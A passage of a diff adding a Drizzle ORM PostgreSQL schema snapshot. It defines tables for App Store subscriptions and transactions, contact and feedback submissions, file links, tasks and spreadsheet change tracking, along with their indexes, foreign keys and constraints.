"notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "app_store_subscriptions_user_idx": { + "name": "app_store_subscriptions_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "app_store_subscriptions_userId_users_id_fk": { + "name": "app_store_subscriptions_userId_users_id_fk", + "tableFrom": "app_store_subscriptions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "app_store_subscriptions_originalTransactionId_unique": { + "name": "app_store_subscriptions_originalTransactionId_unique", + "nullsNotDistinct": false, + "columns": [ + "originalTransactionId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "app_store_subscriptions_status_valid": { + "name": "app_store_subscriptions_status_valid", + "value": "\"app_store_subscriptions\".\"status\" IN ('active', 'billing_retry', 'grace_period', 'expired', 'revoked')" + }, + "app_store_subscriptions_environment_valid": { + "name": "app_store_subscriptions_environment_valid", + "value": "\"app_store_subscriptions\".\"environment\" IN ('Production', 'Sandbox')" + } + }, + "isRLSEnabled": false + }, + "public.app_store_transactions": { + "name": "app_store_transactions", + "schema": "", + "columns": { + "transactionId": { + "name": "transactionId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "originalTransactionId": { + "name": "originalTransactionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "productId": { + "name": "productId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "productKind": { + "name": "productKind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "environment": { + "name": "environment", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "purchaseDate": { + "name": "purchaseDate", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "expiresDate": { + "name": "expiresDate", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "priceMilliunits": { + "name": "priceMilliunits", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "currency": { + "name": "currency", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storefront": { + "name": "storefront", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastSignedAt": { + "name": "lastSignedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "fundedAt": { + "name": "fundedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "app_store_transactions_user_idx": { + "name": "app_store_transactions_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "app_store_transactions_original_idx": { + "name": "app_store_transactions_original_idx", + "columns": [ + { + "expression": "originalTransactionId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "app_store_transactions_userId_users_id_fk": { + "name": "app_store_transactions_userId_users_id_fk", + "tableFrom": "app_store_transactions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "app_store_transactions_kind_valid": { + "name": "app_store_transactions_kind_valid", + "value": "\"app_store_transactions\".\"productKind\" IN ('subscription', 'consumable')" + } + }, + "isRLSEnabled": false + }, + "public.contact_submissions": { + "name": "contact_submissions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "subject": { + "name": "subject", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "resolvedAt": { + "name": "resolvedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "contact_submissions_email_idx": { + "name": "contact_submissions_email_idx", + "columns": [ + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "contact_submissions_created_at_idx": { + "name": "contact_submissions_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.feedback_submissions": { + "name": "feedback_submissions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "attachments": { + "name": "attachments", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "page_url": { + "name": "page_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "screen_size": { + "name": "screen_size", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "viewport_size": { + "name": "viewport_size", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "app_version": { + "name": "app_version", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "console_errors": { + "name": "console_errors", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'new'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "feedback_submissions_user_id_idx": { + "name": "feedback_submissions_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "feedback_submissions_status_idx": { + "name": "feedback_submissions_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "feedback_submissions_created_at_idx": { + "name": "feedback_submissions_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "feedback_submissions_user_id_users_id_fk": { + "name": "feedback_submissions_user_id_users_id_fk", + "tableFrom": "feedback_submissions", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.file_conversations": { + "name": "file_conversations", + "schema": "", + "columns": { + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "linkedBy": { + "name": "linkedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "linkedAt": { + "name": "linkedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "linkSource": { + "name": "linkSource", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "file_conversations_file_id_idx": { + "name": "file_conversations_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "file_conversations_conversation_id_idx": { + "name": "file_conversations_conversation_id_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "file_conversations_fileId_files_id_fk": { + "name": "file_conversations_fileId_files_id_fk", + "tableFrom": "file_conversations", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "file_conversations_conversationId_dm_conversations_id_fk": { + "name": "file_conversations_conversationId_dm_conversations_id_fk", + "tableFrom": "file_conversations", + "tableTo": "dm_conversations", + "columnsFrom": [ + "conversationId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "file_conversations_linkedBy_users_id_fk": { + "name": "file_conversations_linkedBy_users_id_fk", + "tableFrom": "file_conversations", + "tableTo": "users", + "columnsFrom": [ + "linkedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "file_conversations_fileId_conversationId_pk": { + "name": "file_conversations_fileId_conversationId_pk", + "columns": [ + "fileId", + "conversationId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.file_pages": { + "name": "file_pages", + "schema": "", + "columns": { + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "linkedBy": { + "name": "linkedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "linkedAt": { + "name": "linkedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "linkSource": { + "name": "linkSource", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "file_pages_file_id_idx": { + "name": "file_pages_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "file_pages_page_id_idx": { + "name": "file_pages_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "file_pages_fileId_files_id_fk": { + "name": "file_pages_fileId_files_id_fk", + "tableFrom": "file_pages", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "file_pages_pageId_pages_id_fk": { + "name": "file_pages_pageId_pages_id_fk", + "tableFrom": "file_pages", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "file_pages_linkedBy_users_id_fk": { + "name": "file_pages_linkedBy_users_id_fk", + "tableFrom": "file_pages", + "tableTo": "users", + "columnsFrom": [ + "linkedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "file_pages_fileId_pageId_pk": { + "name": "file_pages_fileId_pageId_pk", + "columns": [ + "fileId", + "pageId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.files": { + "name": "files", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sizeBytes": { + "name": "sizeBytes", + "type": "bigint", + "primaryKey": false, + "notNull": true + }, + "mimeType": { + "name": "mimeType", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storagePath": { + "name": "storagePath", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "checksumVersion": { + "name": "checksumVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastAccessedAt": { + "name": "lastAccessedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "files_drive_id_idx": { + "name": "files_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "files_driveId_drives_id_fk": { + "name": "files_driveId_drives_id_fk", + "tableFrom": "files", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "files_createdBy_users_id_fk": { + "name": "files_createdBy_users_id_fk", + "tableFrom": "files", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pending_uploads": { + "name": "pending_uploads", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileSize": { + "name": "fileSize", + "type": "bigint", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "pending_uploads_user_expires_idx": { + "name": "pending_uploads_user_expires_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_uploads_expires_idx": { + "name": "pending_uploads_expires_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pending_uploads_userId_users_id_fk": { + "name": "pending_uploads_userId_users_id_fk", + "tableFrom": "pending_uploads", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.task_assignees": { + "name": "task_assignees", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "taskId": { + "name": "taskId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "task_assignees_task_id_idx": { + "name": "task_assignees_task_id_idx", + "columns": [ + { + "expression": "taskId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_assignees_user_id_idx": { + "name": "task_assignees_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_assignees_agent_page_id_idx": { + "name": "task_assignees_agent_page_id_idx", + "columns": [ + { + "expression": "agentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "task_assignees_taskId_task_items_id_fk": { + "name": "task_assignees_taskId_task_items_id_fk", + "tableFrom": "task_assignees", + "tableTo": "task_items", + "columnsFrom": [ + "taskId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "task_assignees_userId_users_id_fk": { + "name": "task_assignees_userId_users_id_fk", + "tableFrom": "task_assignees", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "task_assignees_agentPageId_pages_id_fk": { + "name": "task_assignees_agentPageId_pages_id_fk", + "tableFrom": "task_assignees", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "task_assignees_task_user": { + "name": "task_assignees_task_user", + "nullsNotDistinct": false, + "columns": [ + "taskId", + "userId" + ] + }, + "task_assignees_task_agent": { + "name": "task_assignees_task_agent", + "nullsNotDistinct": false, + "columns": [ + "taskId", + "agentPageId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "task_assignees_has_assignee": { + "name": "task_assignees_has_assignee", + "value": "(\"userId\" IS NOT NULL OR \"agentPageId\" IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.task_items": { + "name": "task_items", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "assigneeId": { + "name": "assigneeId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "assigneeAgentId": { + "name": "assigneeAgentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "priority": { + "name": "priority", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'medium'" + }, + "startDate": { + "name": "startDate", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "dueDate": { + "name": "dueDate", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "completedAt": { + "name": "completedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "task_items_assignee_id_idx": { + "name": "task_items_assignee_id_idx", + "columns": [ + { + "expression": "assigneeId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_items_assignee_agent_id_idx": { + "name": "task_items_assignee_agent_id_idx", + "columns": [ + { + "expression": "assigneeAgentId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_items_page_id_idx": { + "name": "task_items_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_items_due_date_idx": { + "name": "task_items_due_date_idx", + "columns": [ + { + "expression": "dueDate", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "task_items_userId_users_id_fk": { + "name": "task_items_userId_users_id_fk", + "tableFrom": "task_items", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "task_items_assigneeId_users_id_fk": { + "name": "task_items_assigneeId_users_id_fk", + "tableFrom": "task_items", + "tableTo": "users", + "columnsFrom": [ + "assigneeId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "task_items_assigneeAgentId_pages_id_fk": { + "name": "task_items_assigneeAgentId_pages_id_fk", + "tableFrom": "task_items", + "tableTo": "pages", + "columnsFrom": [ + "assigneeAgentId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "task_items_pageId_pages_id_fk": { + "name": "task_items_pageId_pages_id_fk", + "tableFrom": "task_items", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "task_items_pageId_unique": { + "name": "task_items_pageId_unique", + "nullsNotDistinct": false, + "columns": [ + "pageId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.task_lists": { + "name": "task_lists", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "task_lists_page_id_idx": { + "name": "task_lists_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_lists_conversation_id_idx": { + "name": "task_lists_conversation_id_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_lists_user_id_idx": { + "name": "task_lists_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "task_lists_userId_users_id_fk": { + "name": "task_lists_userId_users_id_fk", + "tableFrom": "task_lists", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "task_lists_pageId_pages_id_fk": { + "name": "task_lists_pageId_pages_id_fk", + "tableFrom": "task_lists", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.task_status_configs": { + "name": "task_status_configs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "taskListId": { + "name": "taskListId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "group": { + "name": "group", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "wipLimit": { + "name": "wipLimit", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "task_status_configs_task_list_id_idx": { + "name": "task_status_configs_task_list_id_idx", + "columns": [ + { + "expression": "taskListId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "task_status_configs_taskListId_task_lists_id_fk": { + "name": "task_status_configs_taskListId_task_lists_id_fk", + "tableFrom": "task_status_configs", + "tableTo": "task_lists", + "columnsFrom": [ + "taskListId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "task_status_configs_task_list_slug": { + "name": "task_status_configs_task_list_slug", + "nullsNotDistinct": false, + "columns": [ + "taskListId", + "slug" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.sheet_cell_deps": { + "name": "sheet_cell_deps", + "schema": "", + "columns": { + "tabId": { + "name": "tabId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "address": { + "name": "address", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "dependsOn": { + "name": "dependsOn", + "type": "text[]", + "primaryKey": false, + "notNull": true + }, + "dependents": { + "name": "dependents", + "type": "text[]", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "sheet_cell_deps_tab_idx": { + "name": "sheet_cell_deps_tab_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sheet_cell_deps_tabId_sheet_tabs_id_fk": { + "name": "sheet_cell_deps_tabId_sheet_tabs_id_fk", + "tableFrom": "sheet_cell_deps", + "tableTo": "sheet_tabs", + "columnsFrom": [ + "tabId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "sheet_cell_deps_tabId_address_pk": { + "name": "sheet_cell_deps_tabId_address_pk", + "columns": [ + "tabId", + "address" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.sheet_changes": { + "name": "sheet_changes", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tabId": { + "name": "tabId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "seq": { + "name": "seq", + "type": "bigserial", + "primaryKey": false, + "notNull": true + }, + "actorUserId": { + "name": "actorUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actorEmail": { + "name": "actorEmail", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupId": { + "name": "changeGroupId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "op": { + "name": "op", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "address": { + "name": "address", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rowIndex": { + "name": "rowIndex", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "before": { + "name": "before", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "after": { + "name": "after", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "sheet_changes_page_seq_idx": { + "name": "sheet_changes_page_seq_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_changes_tab_seq_idx": { + "name": "sheet_changes_tab_seq_idx", + "columns": [ + { + "expression": "tabId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sheet_changes_created_at_idx": { + "name": "sheet_changes_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sheet_changes_pageId_pages_id_fk": { + "name": "sheet_changes_pageId_pages_id_fk", + "tableFrom": "sheet_changes", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "sheet_changes_actorUserId_users_id_fk": { + "name": "sheet_changes_actorUserId_users_id_fk", + "tableFrom": "sheet_changes", + "tableTo": "users", + "columnsFrom": [ + "actorUserId" + ], + 